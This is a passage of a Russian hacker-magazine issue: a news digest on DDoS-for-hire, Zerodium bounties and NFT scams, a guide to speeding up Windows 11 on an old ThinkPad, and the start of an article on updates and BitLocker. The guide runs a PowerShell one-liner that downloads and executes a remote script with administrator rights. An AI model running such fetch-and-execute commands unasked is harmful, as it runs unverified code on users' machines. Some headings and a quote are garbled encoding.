Все ата ки сов падали по вре мени с пря мыми тран сля циями тур нира
Squidcraft Games, который пред лагал победи телю приз в раз мере 100 тысяч
дол ларов США и был открыт толь ко для испа ноязыч ных поль зовате лей
из стран Евро пы и Латин ской Аме рики. Начиная со вто рого дня сорев нований
DDoS-ата ки мешали игро кам из Андорры под клю чить ся к тур ниру, так
как мес тный интернет-про вай дер не справ лялся с объ емом пос тупа юще го
тра фика.

В ито ге более десяти игро ков из Андорры, вклю чая стри меров Auron, Grefg
и Vicens, вынуж дены были отка зать ся от учас тия в тур нире, оста вив борь бу
за приз игро кам из Испа нии и Латин ской Аме рики.

ИБ-спе циалис ты сооб щали, что некото рые из атак дос тигали пиковой
мощ ности 100 Гбит/с. При этом ата ки были свя заны с извес тны ми сер висами
DDoS по най му, то есть, похоже, нек то, не име ющий собс твен ного бот нета,
купил дос туп к «огне вой мощи» имен но ради про веде ния атак во вре мя тур- 
нира.

 ДОЛЛАРОВ ЗА УЯЗВИМОСТИ В MICROSOFT
OUTLOOK
400 000

Из вес тный бро кер экс пло итов и уяз вимос тей Zerodium объ явил, что готов вып латить
до  дол ларов за уяз вимос ти нулево го дня, которые поз волят осу щес твить уда лен ное
выпол нение кода в поч товом кли енте Microsoft Outlook. Ранее раз мер мак сималь ной вып латы
сос тавлял  дол ларов. За ана логич ные баги в Mozilla Thunderbird ком пания готова зап- 
латить до  дол ларов.

400 000

250 000
200 000

Воз награж дения за баги в Mozilla Thunderbird и Microsoft Outlook были уве личе ны вре мен но.
Zerodium не уточ няет, на какую плат форму дол жны быть ори енти рова ны экс пло иты, но оба поч- 
товых кли ента име ют вер сии для всех трех основных опе раци онных сис тем — Windows, macOS
и Linux.

NFT ВСЕ-ТАКИ СКАМ
Раз работ чики круп ней шего NFT-мар кет плей са OpenSea сооб щили, что око- 
ло 80% соз данных бес плат но NFT — это мошен ничес тво, пла гиат или спам.
Из-за это го тор говая пло щад ка взя ла курс на огра ниче ние количес тва бес- 
плат ных NFT, которые может соз дать поль зователь.

Но вос ти о раз личном ска ме и мошен ничес тве, свя зан ном с NFT, появ- 
ляют ся едва ли не каж дый день. К при меру, недав но в Minecraft собира лись
запус тить сер вер Blockverse, на котором поль зовате ли мог ли бы соз давать
NFT во вре мя игры, а затем про давать их. Что бы попасть на сер вер, игро ки
дол жны были при обрести у раз работ чиков NFT, про дажа которых стар- 
товала 24 янва ря 2022 года. Но ког да все 10 тысяч нев заимо заме няемых
токенов были про даны за счи таные минуты, соз датели про екта перес тали
вхо дить на связь и исчезли, «зарабо тав» таким спо собом око ло 1,2 мил лиона
дол ларов.

Соз датели круп ных тор говых пло щадок для NFT прек расно зна ют
о количес тве ска ма, окру жающе го нев заимо заме няемые токены. И теперь
соз датели OpenSea рас ска зали, какая часть NFT-активнос ти на плат форме
отно сит ся к мошен ничес тву и пла гиату.

Сна чала раз работ чики OpenSea объ яви ли, что огра ничат соз дание бес- 
плат ных NFT до 50, то есть имен но столь ко поль зователь смо жет соз давать
бес плат но с помощью инс тру мен тов плат формы. Так называ емый ленивый
мин тинг поз воля ет поль зовате лям не пла тить комис сию за газ при соз дании
NFT на OpenSea (при этом покупа тель в ито ге пла тит комис сию во вре мя
сдел ки), поэто му сер вис весь ма популя рен.

Та кое решение OpenSea выз вало бурю негодо вания сре ди поль зовате- 
лей, мно гие из которых жалова лись, что теперь не могут соз давать NFT вов се.
Вско ре пос ле это го OpenSea объ яви ла, что сни мет огра ниче ния, но так же
при вела некото рые аргу мен ты в поль зу таких мер: ком пания заяви ла, что бес- 
плат ный инс тру мент в основном исполь зует ся в мошен ничес ких целях.

«

»

«Â ïîñ ëåäíåå âðå ìÿ ìû íàá ëþäà åì ýêñïî íåí öèàëü íûé ðîñò çëî óïîò- 

ðåáëå íèé ýòîé ôóí êöè åé. Áîëåå 80% ïðåä ìåòîâ, ñîç äàííûõ

ñ ïîìîùüþ ýòî ãî èíñ òðó ìåí òà, áûëè ïëà ãèàòîì, êîë ëåêöè ÿìè‑ïîä- 

äåëêà ìè èëè ñïà ìîì, — ïèøóò ðàç ðàáîò ÷èêè â Twitter. — Ïîìèìî

îòìå íû ðåøåíèÿ, ìû óæå ïðî ðàáà òûâà åì ðÿä äðó ãèõ ìåð, ÷òî áû

ãàðàí òèðîâàòü, ÷òî ìû ïîä äåðæè âàåì ñîç äàòåëåé, îäíîâðå ìåí íî

ñäåð æèâàÿ çëî óìûø ëåííè êîâ».

СМИ отме чают, что, пред при нимая подоб ные шаги, OpenSea рис кует сво ей
репута цией, но про исхо дящее дает некото рое пред став ление о мас шта бах
проб лемы мошен ничес тва, свя зан ного с бес плат ным соз дани ем NFT.

ДРУГИЕ ИНТЕРЕСНЫЕ СОБЫТИЯ МЕСЯЦА
Ата ка NoReboot поз воля ет соз дать видимость вык лючения iPhone

Соз датели тро яна Ragnatela слу чай но зарази ли им собс твен ные машины

Раз работ чик умыш ленно испортил npm-биб лиоте ки colors и faker, заяв ляя, что Ааро на Швар ца
уби ли

Под росток получил уда лен ный дос туп к 25 авто моби лям Tesla

Эк спер ты соз дали инс тру мент для решения CAPTCHA в дар кне те

В дар кне те зак рыва ется кар дер ский мар кет плейс UniCC

ProtonMail будет бло киро вать пик сели-тре керы и скры вать IP-адре са

Шиф роваль щик DeadBolt взло мал 3600 NAS. Qnap уста нав лива ет обновле ния при нуди тель но

Уяз вимость в ядре Linux может исполь зовать ся для побега из кон тей неров Kubernetes

Хак тивис ты утвер жда ют, что взло мали белорус скую желез ную дорогу

https://xakep.ru/2022/01/10/ataka-noreboot-pozvolyaet-sozdat-vidimost-vyklyucheniya-iphone/
https://xakep.ru/2022/01/11/ragnatela-fail/
https://xakep.ru/2022/01/12/colors-and-faker-down/
https://xakep.ru/2022/01/13/tesla-remote-access/
https://xakep.ru/2022/01/17/dw-gan/
https://xakep.ru/2022/01/17/unicc-closed/
https://xakep.ru/2022/01/20/protonmail-tracking-pixels/
https://xakep.ru/2022/01/28/deadbolt-attacks/
https://xakep.ru/2022/01/26/cve-2022-0185/
https://xakep.ru/2022/01/25/haktivisty-utverzhdayut-chto-vzlomali-belorusskuyu-zheleznuyu-dorogu/
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Я люб лю сме лые экспе римен ты. В качес тве
одно го из них я решил вод рузить Windows
11 на ста рень кий ThinkPad x200S. Новая
вин да сна чала не хотела уста нав ливать ся
на этот ноут (потому что он древ ний и тор- 
мозной), а потом нор маль но работать
на нем — по той же самой при чине. Приш- 
лось раз бирать ся, как обой ти про вер ку
аппа рат ной сов мести мос ти, а самое глав- 
ное — как зас тавить сис тему кру тить ся
быс тро и без лагов на мораль но уста рев- 
шем железе. Эти ми спо соба ми я хочу
поделить ся с тобой — все они про вере ны
на прак тике и гаран тирован но работа ют.

Этот ста рень кий ThinkPad, обо рудо ван ный про цес сором Intel Celeron U2300,
8 Гбайт опе ратив ки и SSD-накопи телем все мир но извес тной китай ской фир- 
мы NoNaMe, я исполь зую в даль них поез дках по прин ципу «если соп рут, то
не жал ко». С ролью пор татив ной рабочей машины этот ком пак тный ноут всег- 
да справ лялся безуп речно, осо бен но с уче том того, что Windows 10 работа ла
на нем весь ма шус тро даже без вся ких тви ков. Имен но поэто му у меня
не воз никло ни малей ших сом нений, на каком имен но железе про тес тировать
Windows 11, преж де чем ста вить нез накомую сис тему на рабочую машину, — я
опа сал ся, что к новому «Глав ному меню» и видо изме нен ной «Панели задач»
при дет ся дол го при выкать, и не факт, что получит ся.

ThinkPad x200S c Windows 11 на бор ту

Приз нать ся, я был неп рият но удив лен быс тро дей стви ем Windows 11 на моем
ThinkPad, вер нее его пол ным отсутс тви ем. По срав нению с «десят кой» новая
вин да вороча лась еле-еле, «Про вод ник» запус кался при мер но пол минуты,
а при откры тии нес коль ких вкла док в бра узе ре сис тема и вов се впа дала
в кому. Оче вид но, что это железо для Windows 11 ока залось все-таки сла- 
бова тым, но что бы нас толь ко… Я при нял ся сроч но изыс кивать спо собы уско- 
рения работы Windows 11, но перед этим я был вынуж ден повозить ся и с
самой уста нов кой — сис тема жалова лась на несов мести мость железа и нас- 
той чиво пред лагала поис кать в чулане компь ютер помощ нее. Приш лось при- 
менять  магию. Одна ко обо всем по поряд ку.ку вал ду

ÎÁÕÎÄ ÏÐÎÂÅÐÊÈ ÀÏÏÀÐÀÒÍÎÉ ÑÎÂÌÅÑÒÈÌÎÑÒÈ

Еще до офи циаль ного релиза Windows 11 ста ло извес тно: кор порация
Microsoft выкати ла такие тре бова ния к сов мести мой аппа рат ной кон фигура- 
ции, буд то их писали с оглядкой на супер компь юте ры Пен тагона. Потом
(видимо, под дав лени ем общес твен ности) раз работ чики вклю чили зад ний
ход и нем ного уре зали свои зап росы, но в спис ке все рав но оста лись UEFI
с под дер жкой безопас ной заг рузки, доверен ный плат формен ный модуль TPM
2.0 и дис плей высокой чет кости 720p. Совер шенно оче вид но, что ThinkPad
x200S, как и мно гие дру гие ста рые ноут буки, этой кон фигура ции совер шенно
не соот ветс тву ет, потому при уста нов ке сис темы я уви дел на экра не вот такое
грус тное сооб щение.

Ваш компь ютер не компь ютер

По счастью, Microsoft все-таки пре дус мотре ла воз можность уста нов ки
Windows 11 на несов мести мое железо в так называ емой лабора тор ной кон- 
фигура ции и даже опуб ликова ла соот ветс тву ющую инс трук цию по обхо ду
огра ниче ний где-то в глу бинах собс твен ного сай та. Ей и вос поль зуем ся.

Уви дев уве дом ление о несо ответс твии компь юте ра фан тази ям раз работ- 
чиков Windows, жмем «Назад», что бы вер нуть ся в окно выбора вер сии ОС,
затем нажима ем на кла виату ре Shift-F10, набира ем в открыв шемся окне
коман дной стро ки  и давим Enter. В открыв шемся окне редак тора

реес тра перехо дим к вет ке  и соз даем
там новый раз дел . В этом раз деле соз даем три 32-раз рядных

парамет ра  с име нами , 

и . Пос ле чего двой ным щел чком мыши откры ваем
каж дый из этих парамет ров и прис ваиваем им зна чение 1.

regedit
HKEY_LOCAL_MACHINE\SYSTEM\Setup\

LabConfig
DWORD BypassTPMCheck BypassRAMCheck

BypassSecureBootCheck

Об маныва ем прог рамму уста нов ки Windows 11

Те перь нуж но зак рыть «Редак тор реес тра» и коман дную стро ку, а затем про- 
дол жить уста нов ку в преж нем режиме. Пос ле вышепе речис ленных манипу- 
ляций инстал лятор не будет про верять наличие TPM 2.0, минималь но необ- 
ходимый объ ем опе ратив ки и при сутс твие в сис теме UEFI, но ему все рав но
пот ребу ется как минимум двухъ ядер ный про цес сор. Если его нет, то ты сно ва
уви дишь сооб щение об аппа рат ной несов мести мос ти.

Мой Celeron, по счастью, успешно про шел фейс-кон троль, но вин да пос ле
запус ка тор мозила так, что работа на ноут буке прев ратилась в сущее
мучение. Сущес тву ет воз можность отка тить ся обратно к пре дыду щей вер сии
Windows в течение пер вых десяти дней пос ле обновле ния сис темы, но этот
шанс был мною счас тли во упу щен из-за  новогод них
каникул. Приш лось изыс кивать спо собы нас тро ить Windows 11 так, что бы
с ней мож но было хоть как-то работать, не борясь с пер манен тным желани ем
плю нуть в экран ноут бука.

но вогод него запоя

ÑÎÇÄÀÅÌ ÐÅÇÅÐÂÍÓÞ ÊÎÏÈÞ

Преж де чем ковырять ся в нас трой ках вин ды и сис темном реес тре, име ет
смысл сде лать его резер вную копию и как минимум соз дать точ ку вос ста нов- 
ления. Реестр мож но забэка пить с помощью кон соль ной коман ды вида 

, где  — файл, в котором будет сох- 

ранено содер жимое вет ви HKLM. Осталь ные вет ви экспор тиру ются ана логич- 
ным обра зом, а откат к пер воначаль ным нас трой кам выпол няет ся путем
запус ка reg-фай ла.

reg 
export HKLM С:\tmp\hklm.reg hklm.reg

Что бы соз дать точ ку вос ста нов ления, наж ми Win-R и в открыв шемся окне
«Выпол нить» набери . В окне «Свой ства сис темы» перей ди
ко вклад ке «Защита сис темы», выдели сис темный диск щел чком мыши и наж- 
ми на кноп ку «Соз дать». Вве ди наз вание для новой точ ки вос ста нов ления
и жми «ОК».

sysdm.cpl

Что бы вер нуть Windows к исходно му сос тоянию, перезаг рузи ее в режиме
вос ста нов ления. Для это го наж ми Win-I, в пра вой час ти открыв шегося окна
наж ми на кноп ку «Вос ста нов ление» и в раз деле «Рас ширен ные парамет ры
запус ка» клик ни на над писи «Перезаг рузить сей час».

Пе реза пуск Windows 11 в режиме вос ста нов ления

ÏÐÎÑÒÀß ÍÀÑÒÐÎÉÊÀ ÏÐÎÈÇÂÎÄÈÒÅËÜÍÎÑÒÈ È ÂÈÐÒÓÀËÜÍÎÉ

ÏÀÌßÒÈ

В Windows 10 и пре дыду щих вер сиях сущес тво вало отдель ное окош ко с нас- 
трой ками быс тро дей ствия сис темы, поз воляв шее отклю чить визу аль ные
эффекты. На ско рость откли ка интерфей са это порой ока зыва ло целитель ное
воз дей ствие. Такое же окно есть и в Windows 11, но теперь оно зарыто столь
глу боко, что прос то так не оты щешь.

Что бы най ти эту нас трой ку, открой «Панель управле ния», щел кни мышью
на кноп ке «Сис тема» в левой час ти окна, про мотай спи сок в самый низ и наж- 
ми на над пись «О сис теме». В открыв шей ся вклад ке наж ми на  «Допол нитель- 
ные парамет ры сис темы». На экра не появит ся окно «Свой ства сис темы».
Наж ми на кноп ку «Парамет ры…» в раз деле «Быс тро дей ствие». В новом окне
выбери пункт «Обес печить наилуч шее быс тро дей ствие». Здесь я бы оста вил
вклю чен ным единс твен ный пункт — «Сгла жива ние неров ностей экранных
шриф тов», пос коль ку без него интерфейс выг лядит сов сем уж тос кли во.
Осталь ными кра сивос тями впол не мож но пожер тво вать.

Нас трой ка быс тро дей ствия

В этом же окне открой вклад ку «Допол нитель но», наж ми на кноп ку «Изме- 
нить» в раз деле «Вир туаль ная память» и сбрось фла жок «Авто мати чес ки
выбирать объ ем фай ла под качки». Затем, уста новив перек лючатель
в положе ние «Ука зать раз мер», задай минималь ный и мак сималь ный раз- 
меры фай ла под качки. Рекомен дует ся давать сво пу воз можность занимать
как минимум вдвое боль ше объ ема тво ей опе ратив ки.

Нас трой ка раз мера фай ла под качки

Мож но раз местить фай лы под качки сра зу на нес коль ких дис ках. Ука зав нуж- 
ные парамет ры, наж ми на кноп ки «Задать» и «Ок».

Тут же, в «Панели управле ния», име ет смысл заг лянуть в раз дел «Пер- 
сонали зация», нажать на кноп ку «Цве та» и перед винуть вле во перек лючатель
«Эффекты проз рачнос ти». Конеч но, опре делен ную долю шар ма офор мле ние
вин ды от это го утра тит, но отклю чение проз рачнос ти нем ного сни зит наг рузку
на сис тему.

От клю чение проз рачнос ти

ÎÒÊËÞ×ÀÅÌ ÔÎÍÎÂÛÅ ÏÐÈËÎÆÅÍÈß È ×ÈÑÒÈÌ ÀÂÒÎÇÀÃÐÓÇÊÓ

Пре дыду щие манипу ляции не слиш ком мне помог ли: вин да нем ного ожи ла,
но до тре буемо го резуль тата ока залось еще очень далеко. Еще один спо соб
нем ного встрях нуть сис тему — отклю чить лиш ние про цес сы вро де Кор таны,
пос тоян но работа ющие в фоновом режиме, а заод но убрать все ненуж ное
из авто заг рузки. Этим и зай мем ся.

В отли чие от Windows 10, в 11-й вин де исчезла опция отклю чения сра зу
всех фоновых при ложе ний, вмес то это го раз работ чики пред лага ют поль- 
зовате лям вырубать их по одно му в «Панели управле ния». За отсутс тви ем
соот ветс тву ющей нас трой ки в поль зователь ском интерфей се мы можем
обра тить ся к редак тору реес тра. Запус ти  и перей ди вот в эту вет ку:regedit

HKCU\Software\Microsoft\Windows\CurrentVersion\
BackgroundAccessApplications 

В этом раз деле соз дай параметр  c име нем 

и прис вой ему зна чение 1. Теперь мож но отклю чить фоновый про цесс встро- 
енно го поис ка Windows. Для это го сно ва ищем вет ку реес тра:

DWORD GlobalUserDisabled

HKCU\Software\Microsoft\Windows\CurrentVersion\Search 

Соз даем параметр  с име нем  и оставля- 

ем у него при нятое по умол чанию зна чение 0.

DWORD BackgroundAppGlobalToggle

От клю чение работы фоновых при ложе ний

Од нако в ходе обновле ния опе раци онка может перепи сать эти зна чения
реес тра, вер нув их в пер воначаль ное сос тояние, поэто му для надеж ности
име ет смысл зап ретить запуск фоновых при ложе ний в груп повых полити ках
Windows. Наж ми Win-R, набери в открыв шемся окош ке  и наж ми
Enter. Перей ди к раз делу «Адми нис тра тив ные шаб лоны → Ком понен ты
Windows → Кон фиден циаль ность при ложе ния». В спис ке оты щи пункт «Раз- 
решить при ложе ниям для Windows работать в фоновом режиме» и дваж ды
щел кни на нем мышью. В открыв шемся окне уста нови перек лючатель
в положе ние «Вклю чено», а в рас положен ном ниже меню выбери пункт «Зап- 
ретить при нуди тель но». Затем наж ми «При менить» и «Ок».

gpedit.msc

От клю чение работы фоновых при ложе ний с помощью редак тора груп -
повых политик

Ос талось убрать все лиш нее из авто заг рузки. Наж ми нехит рую ком бинацию
кла виш Ctrl-Alt-Del, выбери в открыв шемся спис ке пункт «Дис петчер задач»,
в ниж ней час ти окна «Дис петче ра» наж ми на ссыл ку «Под робнее» и открой
вклад ку «Авто заг рузка».

От клю чение авто мати чес ки запус каемых прог рамм

Здесь пред став лены все прог раммы, запус каемые одновре мен но с опе раци- 
онной сис темой. Най ди сре ди них те, которые име ют ста тус «Вклю чено»,
но при этом не нуж ны тебе пос тоян но. При необ ходимос ти ты смо жешь
запус тить их вруч ную. Щел кай на них пра вой кла вишей мыши и выбирай
в кон текс тном меню пункт «Отклю чить».

Не кото рые при ложе ния, запущен ные в момент вык лючения компь юте ра,
сис тема может переза пус кать авто мати чес ки при пов торном вхо де. Что бы
вырубить эту фун кцию, открой «Панель управле ния», перей ди в раз дел «Учет- 
ные записи → Вари анты вхо да» и перед винь вле во перек лючатель «Авто мати- 
чес ки сох ранять мои переза пус каемые при ложе ния из сис темы и переза пус- 
кать их при пов торном вхо де».

По отклю чав таким обра зом все ненуж ные при ложе ния, перезаг рузи
компь ютер.

Продолжение статьи →

mailto:valentin@holmogorov.ru


ОТКЛЮЧИТЬ ВСЁ!
УСКОРЯЕМ РАБОТУ WINDOWS 11 НА СТАРОМ

ЖЕЛЕЗЕ

COVERSTORY  НАЧАЛО СТАТЬИ←

ÄÎÏÎËÍÈÒÅËÜÍÀß ÍÀÑÒÐÎÉÊÀ ÏÎÈÑÊÀ

По умол чанию в Windows 11 вклю чена индекса ция фай лов, а так же так
называ емый рас ширен ный поиск, поз воля ющий искать не толь ко по наз вани- 
ям фай ловых объ ектов, но и по их содер жимому. С одной сто роны, это очень
удоб ная воз можность, с дру гой — индекса ция и рас ширен ный поиск пот- 
ребля ют ресур сы сис темы. Если ты не поль зуешь ся эти ми фун кци ями, их
мож но отклю чить.

Для это го открой панель управле ния («Пуск → Парамет ры») и перей ди
в раз дел «Кон фиден циаль ность и защита → Поиск в Windows». Уста нови
перек лючатель «Поиск фай лов» в положе ние «Клас сичес кий стиль».

Нас трой ка поис ка в Windows 11

Что бы отклю чить служ бу индекси рова ния, наж ми Win-R, набери в открыв- 
шемся окош ке  и наж ми Enter. В спис ке служб оты щи Windows
Search и дваж ды щел кни на этой над писи мышью. В открыв шемся окне наж ми
на кноп ку «Оста новить», затем в меню «Тип запус ка» выбери пункт «Отклю- 
чена», наж ми «При менить» и «Ок».

services.msc

От клю чение индекси рова ния

ÂÊËÞ×ÅÍÈÅ ÊÎÍÒÐÎËß ÏÀÌßÒÈ

Фун кция «Кон троль памяти» (storage sense) отсле жива ет объ ем сво бод ного
дис кового прос транс тва на компь юте ре или ноут буке и сво евре мен но уда- 
ляет ненуж ные вре мен ные фай лы с дис ков, что бы осво бодить мес то.
По умол чанию в Windows 11 эта фун кция отклю чена. Что бы вклю чить ее,
открой панель управле ния («Пуск → Парамет ры»), в рас положен ном сле ва
спис ке выбери пункт «Сис тема» и перей ди в раз дел «Память».

Вклю чение кон тро ля памяти

Пе ред винь впра во перек лючатель «Кон троль памяти» и щел кни мышью
на этой над писи, что бы нас тро ить фун кцию уда ления лиш них фай лов на дис- 
ках.

Нас трой ка кон тро ля памяти

Здесь мож но ука зать:
пе риодич ность запус ка «Кон тро ля памяти» (я выб рал еже недель ный
запуск);

•

пе риод, через который будут авто мати чес ки уда лять ся неис поль зуемые
фай лы из пап ки «Заг рузки» (я выб рал 30 дней);

•

пе риод, спус тя который ни разу не откры вав шиеся фай лы в лич ных пап ках
поль зовате ля будут дос тупны толь ко в обла ке OneDrive, а локаль ная копия
будет уда лена (фун кция работа ет толь ко при исполь зовании учет ной
записи Microsoft и толь ко если син хро низа ция фай лов с OneDrive вклю- 
чена).

•

В целом «Кон троль памяти» полезен тем, что юзе ру боль ше не нуж но думать
об уда лении вре мен ных фай лов, очис тке «Кор зины» и пап ки «Заг рузки» вруч- 
ную — сис тема будет делать это авто мати чес ки через задан ные про межут ки
вре мени. Для ноут буков с неболь шим по объ ему SDD — то, что док тор про- 
писал.

ÎÒÊËÞ×ÅÍÈÅ ONEDRIVE

Ес ли ты не поль зуешь ся учет ной записью Microsoft или поп росту не жела ешь
хра нить свои фай лы в «мел комяг ком обла ке», а так же син хро низи ровать их
на нес коль ких устрой ствах под управле нием Windows, OneDrive мож но отклю- 
чить. Если при ложе ние OneDrive запуще но, в области уве дом лений панели
задач рядом с часами будет отоб ражать ся зна чок облачка. Если при ложе ние
не запуще но, открой глав ное меню и набери  в стро ке поис ка.OneDrive

Щел кни на знач ке с изоб ражени ем облачка в трее пра вой кла вишей
мыши, в открыв шемся окне наж ми на кноп ку «Справ ка и парамет ры» и в кон- 
текс тном меню выбери пункт «Парамет ры». В окне «Microsoft OneDrive»
открой вклад ку «Парамет ры» и сбрось фла жок «Авто мати чес ки запус кать
OneDrive при вхо де в Windows».

От клю чение OneDrive

ÎÒÊËÞ×ÅÍÈÅ ÈÃÐÎÂÎÃÎ ÐÅÆÈÌÀ

В Windows 11 «из короб ки» вклю чен так называ емый «Режим игры» — фун- 
кция, приз ванная сни зить наг рузку на гра фичес кий уско ритель и цен траль ный
про цес сор путем перенап равле ния основных ресур сов на запущен ный про- 
цесс игры. Пос коль ку на моем ноут буке из игр уста нов лен толь ко пась янс
«Косын ка», эту фун кцию я на вся кий слу чай отклю чил.

Де лает ся это так: в панели управле ния перехо дим в раз дел «Игры»,
нажима ем на кноп ку «Игро вой режим» и на сле дующем экра не переме щаем
вык лючатель «Режим игры» вле во.

От клю чение режима игры

Пос ле это го мож но заг лянуть в сосед ний раз дел «Xbox Game Bar» и вык- 
лючить фун кцию «Откры вай те Xbox Game Bar нажати ем этой кноп ки на гей- 
мпа де» — если ты этим самым гей мпа дом не поль зуешь ся.

ÂÊËÞ×ÅÍÈÅ ÌÀÊÑÈÌÀËÜÍÎÉ ÏÐÎÈÇÂÎÄÈÒÅËÜÍÎÑÒÈ 

 ÝËÅÊÒÐÎÏÈÒÀÍÈßÂ ÏÀÐÀÌÅÒÐÀÕ

В нас трой ках элек тро пита ния Windows 11 по умол чанию вклю чен сба лан- 
сирован ный режим, который исполь зует щадящие парамет ры про изво- 
дитель нос ти про цес сора. Для ноут буков луч ше все го оста вить имен но этот
режим, но если вин да уста нов лена на нас толь ном ПК, мож но не стес нять ся
и задей ство вать его воз можнос ти по мак симуму. Для это го в панели управле- 
ния перей ди в раз дел «Сис тема → Завер шение работы и батарея» и в рас- 
положен ном спра ва меню «Режим питания» выбери пункт «Макс. про изво- 
дитель ность».

Ес ли этот пункт в меню отсутс тву ет, при дет ся нем ного покол довать. Наж- 
ми на зна чок лупы в панели задач, вве ди в стро ке поис ка «панель управле- 
ния», что бы открыть клас сичес кий вари ант этой панели, в рас положен ном
спра ва свер ху меню «Прос мотр» выбери пункт «Круп ные знач ки», затем щел- 
кни мышью на знач ке «Элек тро пита ние». В рас положен ном сле ва спис ке наж- 
ми на над пись «Соз дание схе мы управле ния питани ем», уста нови перек- 
лючатель в положе ние «Высокая про изво дитель ность» и наж ми «Далее».
В сле дующем окне отклю чи переход в спя щий режим при работе компь юте ра
от сети и наж ми на кноп ку «Соз дать».

Вклю чение режима мак сималь ной про изво дитель нос ти

ÎÒÊËÞ×ÅÍÈÅ ÊÎÌÏÎÍÅÍÒÎÂ WINDOWS È ÓÄÀËÅÍÈÅ ÏÐÎÃÐÀÌÌ

В обновлен ной панели управле ния Windows 11 есть свой апплет для уда ления
ранее уста нов ленных прог рамм, но мне более при выч но клас сичес кое окно.
Что бы открыть его, наж ми Win-R, набери в открыв шемся окош ке 
и наж ми Enter. Откро ется клас сичес кое окно «Уста нов ка и уда ление прог- 
рамм» — такое же, как в ста рой и любимой все ми Windows 7. Как им поль- 
зовать ся, думаю, объ яснять никому не нуж но.

appwiz.cpl

Уда ление лиш них прог рамм

Сле ва в этом окне — над пись «Вклю чение и отклю чение ком понен тов
Windows», клик по которой откры вает окно со спис ком сис темных ком понен- 
тов. Сле дует пом нить, что эта фун кция имен но отклю чает ненуж ные фун кции
Windows, но не уда ляет соот ветс тву ющие фай лы с дис ка, поэто му поль- 
зовать ся этим инс тру мен том с целью эко номии дис кового прос транс тва бес- 
полез но чуть менее, чем пол ностью. Для уда ления же ненуж ных модулей есть
более прод винутый инс тру мент, о котором я рас ска жу далее.

ÈÑÏÎËÜÇÎÂÀÍÈÅ WINDOWS10DEBLOATER

 — это скрипт на PowerShell, соз данный незави симы ми
раз работ чиками еще для Windows 10. Он поз воля ет уда лить из сис темы
ненуж ные служ бы и при ложе ния. Я про тес тировал этот скрипт в Windows 11,
и в целом он отра ботал нор маль но. Одна ко его все-таки сле дует исполь- 
зовать с осто рож ностью: мало ли что он отло мает в новой вер сии ОС?
В общем, я пре дуп редил!

Windows10Debloater

Что бы запус тить Windows10Debloater, открой глав ное меню, набери
в стро ке поис ка , затем наж ми на стре лоч ку спра ва от появив- 
шегося знач ка Windows PowerShell и клик ни на над писи «Запуск от име ни
адми нис тра тора» в пра вой час ти окна.

powershell

За пуск PowerShell от име ни адми нис тра тора

В открыв шемся окне PowerShell набери сле дующую коман ду:

iwr -useb https://git.io/debloat|iex

Ко ман да авто мати чес ки заг рузит и запус тит Windows10Debloater. Внеш ний
вид при ложе ния показан на сле дующем скрин шоте.

Windows10Debloater

На жати ем бук валь но одной кноп ки в окне Windows10Debloater мож но выпол- 
нить сле дующие дей ствия:

Uninstall OneDrive — пол ностью уда лить OneDrive из Windows;•
Unpin Tiles from Start Menu — в Windows 11 не работа ет;•
Disable Telemetry/Tasks — пол ностью отклю чает сбор дан ных и свя зан ные
с телемет рией задачи пла ниров щика задач Windows;

•

Remove Bloatware regkeys — уда ляет из реес тра клю чи, свя зан ные с «лиш- 
ними» при ложе ниями;

•

Install .NET V3.5 — уста нав лива ет .Net Framework вер сии 3.5.•

Чуть выше мож но отклю чить нажати ем кноп ки Disable Кор тану, прос мотр PDF-
фай лов в бра узе ре Edge и исполь зование тем ной темы Windows.

Что бы выб рать при ложе ния, которые Windows10Debloater поз воля ет уда- 
лить, наж ми на кноп ку Customise Blocklist. Прог рамма выдаст спи сок всех
дос тупных ком понен тов. Здесь мож но уда лить игры, при ложе ние Xbox, даже
каль кулятор, Paint и дру гие стан дар тные прог раммы. Сбрось флаж ки с наз- 
ваний тех ком понен тов, которые ты хочешь оста вить в Windows, а потом наж- 
ми на кноп ку «Save custom Allowlist and Blocklist to custom-lists.ps1». Если ты
сом нева ешь ся в том, нуж но ли тебе какое-либо при ложе ние из спис ка, луч ше
не уда лять его. На вся кий слу чай пов торю еще раз: 

.

óñ òàíîâ êà ôëàæ êà

óäà ëèò ïðè ëîæå íèå, à ñíÿ òèå åãî, íàîáî ðîò, ñîõ ðàíèò

Вы бор при ложе ний для уда ления

Те перь мож но уда лить выб ранные при ложе ния нажати ем на кноп ку «Remove
bloatware with custom blocklist». Пос ле завер шения про цеду ры перезаг рузи
компь ютер, что бы изме нения всту пили в силу.

ÂÛÂÎÄÛ

В резуль тате всех про делан ных мною магичес ких манипу ляций Windows
11 начала работать нам ного шус трее. Осо бен но уско рение ста ло замет но
пос ле отклю чения поис ковой индекса ции и бло киров ки фоновых при ложе ний.
Конеч но, «летать» вин да все-таки не научи лась, но прог ресс в пла не быс тро- 
дей ствия стал оче виден, и работать на ноут буке ста ло нам ного при ятнее.
Наде юсь, эти советы помогут тебе уско рить Windows 11 и на тво ем компь юте- 
ре, даже если его кон фигура ция не соот ветс тву ет тре бова ниям Microsoft.

https://github.com/Sycnex/Windows10Debloater
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По явив шаяся в ухо дящем году вер сия Windows отли чает ся
от пред шес твен ниц не толь ко обновлен ным интерфей сом,
но и целым рядом новинок, спря тан ных «под капотом». Нас- 
тало вре мя погово рить об этих инс тру мен тах и рас смот реть
некото рые осо бен ности их исполь зования.

В сегод няшней статье мы рас ска жем, как нас тро ить или вов се отклю чить
авто мати чес кие обновле ния, как вык лючить встро енный в Windows 11 анти- 
вирус или добавить в спи сок его исклю чений нуж ные объ екты. Обсу дим, так
ли надежен BitLocker, как кажет ся, и погово рим о методах про тиво дей ствия
его взло му. И наконец, рас смот рим фун кцию облачной заг рузки и пере уста- 
нов ки Windows.

ÎÁÍÎÂËÅÍÈÅ È ÅÃÎ ÎÒÊËÞ×ÅÍÈÅ

Для самого обновле ния сис темы тебе ничего не нуж но делать — оно выпол- 
няет ся в фоновом режиме, а ког да обновле ния будут заг ружены, они уста- 
новят ся при сле дующем переза пус ке ком па. При этом в меню завер шения
работы появят ся новые вари анты: завер шение работы с пос леду ющей уста- 
нов кой обновле ния или без таковой. Нап ример, мож но прос то перезаг рузить
компь ютер, а мож но перезаг рузить и обно вить сис тему. Наконец-то
в Microsoft догада лись, что уста нов ка обновле ний занима ет немало вре мени
и не всег да у поль зовате ля есть воз можность ждать, пока они будут уста нов- 
лены. А еще наконец-то в Windows 11 поменя ли цвет фона экра на обновле- 
ний — он стал чер ным, а не синим, как было рань ше (все мы зна ем, что еще с
Windows 98 синий цвет ассо циирует ся с экра ном смер ти Windows).

